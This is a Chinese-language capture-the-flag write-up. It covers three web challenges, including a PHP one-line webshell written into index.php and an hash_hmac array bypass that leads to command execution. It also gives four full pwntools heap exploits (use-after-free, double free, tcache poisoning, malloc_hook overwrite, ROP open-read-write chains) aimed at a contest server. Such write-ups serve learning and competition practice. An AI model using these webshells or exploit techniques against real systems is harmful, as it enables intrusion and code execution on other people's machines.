前言 这是不当人的一场比赛。。恰逢考试,还要一个人兼pwn和web,难受。。。。还好web不算太难,pwn的解题率就不尽人意了。。
web easycon http://183.129.189.60:10035/index.php,提示eval cmd,直接用蚁剑连接,密码cmd。在网站目录下找到bbbbbbbbb.txt文件,用base64解码得到包含flag的图片。
BlackCat 在Hei_Mao_Jing_Chang.mp3中找到php的代码:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 if (empty ($_POST['Black-Cat-Sheriff' ]) || empty ($_POST['One-ear' ])){ die ('谁!竟敢踩我一只耳的尾巴!' ); } $clandestine = getenv("clandestine" ); if (isset ($_POST['White-cat-monitor' ])) $clandestine = hash_hmac('sha256' , $_POST['White-cat-monitor' ], $clandestine); $hh = hash_hmac('sha256' , $_POST['One-ear' ], $clandestine); if ($hh !== $_POST['Black-Cat-Sheriff' ]){ die ('有意瞄准,无意击发,你的梦想就是你要瞄准的目标。相信自己,你就是那颗射中靶心的子弹。' ); } echo exec("nc" .$_POST['One-ear' ]);
通过将White-cat-monitor设置为数组类型,使hash_hmac函数报错返回0,从而得到key,接着利用key进行sha256加密并且任意命令执行,在网站目录下flag.php中包含有flag。
POST数据:
easyphp php代码如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 <?php $files = scandir('./' ); foreach ($files as $file) { if (is_file($file)){ if ($file !== "index.php" ) { unlink($file); } } } if (!isset ($_GET['content' ]) || !isset ($_GET['filename' ])) { highlight_file(__FILE__ ); die (); } $content = $_GET['content' ]; if (stristr($content,'on' ) || stristr($content,'html' ) || stristr($content,'type' ) || stristr($content,'flag' ) || stristr($content,'upload' ) || stristr($content,'file' )) { echo "Hacker" ; die (); } $filename = $_GET['filename' ]; if (preg_match("/[^a-z\.]/" , $filename) == 1 ) { echo "Hacker" ; die (); } $files = scandir('./' ); foreach ($files as $file) { if (is_file($file)){ if ($file !== "index.php" ) { unlink($file); } } } file_put_contents($filename, $content . "\nHello, world" ); ?>
直接向index.php写入一句话木马即可,GET数据:
1 filename=index.php&content=%3C?php%20@eval($_POST[%27attack%27])%20?%3E
PWN sign_in 思路 简单的UAF漏洞。首先通过unsortbin来leak出libc地址,接着利用double free来申请到__malloc_hook
处改为onegadget即可getshell了。
EXP 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 from pwn import *libc = ELF("sign_in" ).libc p = process("sign_in" ) p = remote("183.129.189.60" ,"10029" ) def add (size,name,message) : p.recvuntil("choice : " ) p.sendline(str(1 )) p.recvuntil("game's name: " ) p.sendline(str(size)) p.recvuntil("name:" ) p.send(name) p.recvuntil(" message:" ) p.send(message) def free (idx) : p.recvuntil("choice : " ) p.sendline(str(3 )) p.recvuntil("index:" ) p.sendline(str(idx)) def show () : p.recvuntil("choice : " ) p.sendline(str(2 )) one = [0x45226 ,0x4527a ,0xf0364 ,0xf1207 ] add(0xf8 ,'aaa\n' ,'aaa\n' ) add(0x28 ,'aaa\n' ,'aaa\n' ) free(0 ) free(1 ) add(0xf8 ,'\n' ,'a\n' ) show() p.recvuntil("Game[2]'s name :" ) libc.address = u64(p.recv(6 )+'\x00\x00' )-0x3C4B0A print(hex(libc.address)) add(0x68 ,'aaa\n' ,'aaa\n' ) add(0x68 ,'aaa\n' ,'aaa\n' ) free(3 ) free(4 ) free(3 ) add(0x68 ,p64(libc.sym['__malloc_hook' ]-0x23 )+'\n' ,'aaa\n' ) add(0x68 ,'aaa\n' ,'aaa\n' ) add(0x68 ,'aaa\n' ,'aaa\n' ) add(0x68 ,'\x00' *0xb +p64(libc.sym['realloc' ]+6 )+p64(libc.address+one[1 ])+'\n' ,'aaa\n' ) p.recvuntil("choice : " ) p.sendline(str(1 )) p.interactive()
repwn 思路 只能进行add和free操作,并且有个可以输出栈上信息的函数,通过解密即可得到libc和stack的地址。存在double free漏洞,并且由于禁用了execute的系统调用,所以申请回栈上,通过rop来进行ORW操作。
EXP 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 def dec (res) : v5=[51 ,18 ,120 ,36 ] v9=9 v7=0x26a77aaa while v9>0 : v10 = (v7 >> 2 ) & 3 for i in range(15 ,-1 ,-1 ): v6 = res[(i-1 +16 )%16 ] res[i] -= (((v6 >> 7 ) ^ 8 * res[(i + 1 )%16 ]) + ((res[(i + 1 )%16 ] >> 2 ) ^ 32 * v6) - 33 ) ^ ((res[(i + 1 )%16 ] ^ v7 ^ 0x57 )+ (v6 ^ v5[v10 ^ i & 3 ])+ 63 ) res[i]&=0xff v7 -= 0x76129BDA v7&=0xffffffff v9-=1 from pwn import *libc = ELF("re_pwn" ).libc p = remote("183.129.189.60" ,"10035" ) def add (size,data) : p.recvuntil(" choice:" ) p.sendline("1" ) p.recvuntil("how long?" ) p.sendline(str(size)) p.sendline(data) def free (idx) : p.recvuntil(" choice:" ) p.sendline("3" ) p.recvuntil("which one?" ) p.sendline(str(idx)) add(0x68 ,'aaa' ) p.recvuntil(" choice:" ) p.sendline("2" ) p.send("\n" ) rev = p.recv(0x10 ) res = [] for i in range(len(rev)): res.append(u32(rev[i]+'\x00' *3 )) dec(res) s = '' for i in range(len(rev)): s += chr(res[i]) libc.address = u64(s[:6 ]+'\x00\x00' )-0x5F1A88 print hex(libc.address)stack = u64(s[8 :14 ]+'\x00\x00' ) print hex(stack)add(0x68 ,'aaa' ) add(0x68 ,'aaa' ) free(0 ) free(1 ) free(0 ) pop_rdi = 0x0000000000021112 + libc.address pop_rsi = 0x00000000000202f8 + libc.address pop_rdx = 0x0000000000001b92 + libc.address pop_rax = 0x000000000003a738 + libc.address pop_rsp = 0x0000000000003838 + libc.address syscall = 0x00000000000bc3f5 + libc.address add(0x68 ,p64(stack - 0xf3 )) add(0x68 ,'aaa' ) add(0x68 ,'aaa' ) one = [0x45226 ,0x4527a ,0xf0364 ,0xf1207 ] pay = '\x00' *0x3 pay += p64(pop_rdx) pay += p64(0x100 ) pay += p64(pop_rax) pay += p64(0 ) pay += p64(syscall) pay += p64(pop_rdi) pay += p64(0 ) pay += p64(pop_rsi) pay += p64(stack-0xe0 +5 *8 +0x10 ) pay += p64(pop_rsp) pay += p64(stack-0xe0 ) print hex(len(pay))add(0x68 ,pay) payload = '' payload += p64(pop_rdi) payload += p64(stack+0x30 ) payload += p64(pop_rsi) payload += p64(4 ) payload += p64(pop_rdx) payload += p64(4 ) payload += p64(pop_rax) payload += p64(2 ) payload += p64(syscall) payload += p64(pop_rdi) payload += p64(3 ) payload += p64(pop_rsi) payload += p64(stack+0x100 ) payload += p64(pop_rdx) payload += p64(0x100 ) payload += p64(pop_rax) payload += p64(0 ) payload += p64(syscall) payload += p64(pop_rdi) payload += p64(1 ) payload += p64(pop_rsi) payload += p64(stack+0x100 ) payload += p64(pop_rdx) payload += p64(0x100 ) payload += p64(pop_rax) payload += p64(1 ) payload += p64(syscall) payload += './flag\x00' sleep(1 ) p.sendline(payload+'\n' ) p.interactive()
easy_heap 思路 存在double free漏洞。首先填满tcache,并leak出libc地址。接着修改堆上指向name堆块的地址为environ变量,从而leak出stack地址。接着通过tcache的double free任意申请地址到栈上,从而用rop来进行ORW操作获取flag。
EXP 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 from pwn import *p = process("./easy_heap" ) p = remote("183.129.189.60" ,10009 ) libc = ELF("easy_heap" ).libc def add (size) : p.recvuntil("Choice" ) p.sendline("1" ) p.recvuntil("Size: " ) p.sendline(str(size)) def edit (idx,data) : p.recvuntil("Choice" ) p.sendline("2" ) p.recvuntil("Index: " ) p.sendline(str(idx)) p.recvuntil("Content: " ) p.send(data) def free (idx) : p.recvuntil("Choice" ) p.sendline("3" ) p.recvuntil("Index: " ) p.sendline(str(idx)) def show (idx) : p.recvuntil("Choice" ) p.sendline("4" ) p.recvuntil("Index: " ) p.sendline(str(idx)) add(0xf8 ) add(0xf8 ) add(0xf8 ) free(1 ) free(0 ) add(0xf8 ) add(0xf8 ) show(0 ) p.recvuntil("ontent: " ) heap = u64(p.recv(6 )+b'\x00' *2 ) - 0x3a0 print(hex(heap)) for i in range(3 ): free(3 -i) for i in range(0xb ): add(0xf8 ) for i in range(0x7 ): add(0x1f8 ) for i in range(7 ): free(6 -i) free(7 ) edit(9 ,p64(heap+0xb90 )*2 +b'\x00' *0xe0 +p64(0x100 )) free(0xa ) add(0x1f8 ) for i in range(0xb ,0xb +8 ): free(i) free(9 ) show(0 ) p.recvuntil("ontent: " ) libc.address = u64(p.recv(6 )+b'\x00' *2 ) - 0x1EBBE0 print(hex(libc.address)) add(0x2f8 ) add(0x2f8 ) add(0x2f8 ) free(2 ) free(0 ) edit(1 ,p64(libc.sym['environ' ])) add(0x2f8 ) add(0x2f8 ) show(2 ) p.recvuntil("ontent: " ) stack = u64(p.recv(6 )+b'\x00' *2 ) print(hex(stack)) free(3 ) free(1 ) edit(0 ,p64(stack-0x120 )) add(0x2f8 ) add(0x2f8 ) pop_rdi = 0x0000000000026b72 + libc.address pop_rsi = 0x0000000000027529 + libc.address pop_rdx_r12 = 0x000000000011c1e1 + libc.address pop_rax = 0x000000000004a550 + libc.address syscall = 0xE6169 + libc.address payload = b'' payload += p64(pop_rdi) payload += p64(stack-0x30 ) payload += p64(pop_rsi) payload += p64(4 ) payload += p64(pop_rdx_r12) payload += p64(4 ) payload += p64(4 ) payload += p64(pop_rax) payload += p64(2 ) payload += p64(syscall) payload += p64(pop_rdi) payload += p64(3 ) payload += p64(pop_rsi) payload += p64(stack+0x100 ) payload += p64(pop_rdx_r12) payload += p64(0x100 ) payload += p64(0x100 ) payload += p64(pop_rax) payload += p64(0 ) payload += p64(syscall) payload += p64(pop_rdi) payload += p64(1 ) payload += p64(pop_rsi) payload += p64(stack+0x100 ) payload += p64(pop_rdx_r12) payload += p64(0x100 ) payload += p64(0x100 ) payload += p64(pop_rax) payload += p64(1 ) payload += p64(syscall) payload += b'./flag\x00' edit(3 ,payload) p.interactive()
babypwn 思路 比较恶心的概率题。首先通过malloc_consolidate()
将fastbin中的堆块放入smallbin中,从而得到libc的地址。申请回来,修改低位,爆破到stdout结构附近。接着利用double free,并修改低位地址,爆破到上述存储有stdout结构地址处的堆块,从而申请到stdout处进行IO_leak。接着就是double free申请到__malloc_hook
然后用one_gadgets
来getshell。PS:1/256概率,日常脸黑,打了半个多小时才出来。
EXP 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 from pwn import *libc = ELF("babypwn" ).libc def exp () : p = remote("183.129.189.60" ,"10031" ) def add (size,name,message) : p.recvuntil("choice : " ) p.sendline(str(1 )) p.recvuntil("game's name: " ) p.sendline(str(size)) p.recvuntil("name:" ) p.send(name) p.recvuntil(" message:" ) p.send(message) def free (idx) : p.recvuntil("choice : " ) p.sendline(str(2 )) p.recvuntil("index:" ) p.sendline(str(idx)) add(0x68 ,'a' ,'a\n' ) add(0x68 ,'a' ,'a\n' ) add(0x68 ,'a' ,'a\n' ) add(0x68 ,'a' ,'a\n' ) add(0x28 ,'a' ,'a\n' ) free(0 ) add(0x68 ,'a' ,'a\n' ) free(0 ) p.recvuntil("choice : " ) p.sendline(str(2 )) p.recvuntil("index:" ) p.sendline('4' *0x400 ) free(4 ) add(0x68 ,'\xdd\x25' ,'a\n' ) free(4 ) free(2 ) free(3 ) free(2 ) add(0x68 ,'\x30\x70' ,'a\n' ) free(4 ) add(0x68 ,'a' ,'a\n' ) free(4 ) add(0x68 ,'a' ,'a\n' ) free(4 ) add(0x68 ,'a' ,'a\n' ) free(4 ) p.recvuntil("choice : " ) p.sendline(str(1 )) p.recvuntil("game's name: " ) p.sendline(str(0x68 )) p.recvuntil("name:" ) p.send('\x00' *3 +p64(0 )*6 +p64(0xfbad1800 )+p64(0 )*3 +'\x00' ) print p.recvuntil(p64(0xfbad1800 )) print p.recv(0x18 ) libc.address = u64(p.recv(8 )) -0x3C5600 print hex(libc.address) one = [0x45226 ,0x4527a ,0xf0364 ,0xf1207 ] p.recvuntil("game's" ) p.send('a\n' ) free(0 ) free(1 ) free(0 ) add(0x68 ,p64(libc.sym['__malloc_hook' ]-0x23 ),'a\n' ) add(0x68 ,'a' ,'a\n' ) add(0x68 ,'a' ,'a\n' ) add(0x68 ,'\x00' *0xb +p64(libc.address+one[3 ])+p64(libc.sym['realloc' ]+6 ),'a\n' ) p.recvuntil("choice : " ) p.sendline(str(1 )) p.sendline("cat flag" ) p.interactive() input() i = 0 while (1 ): i+=1 print i try : exp() except : print 'fail'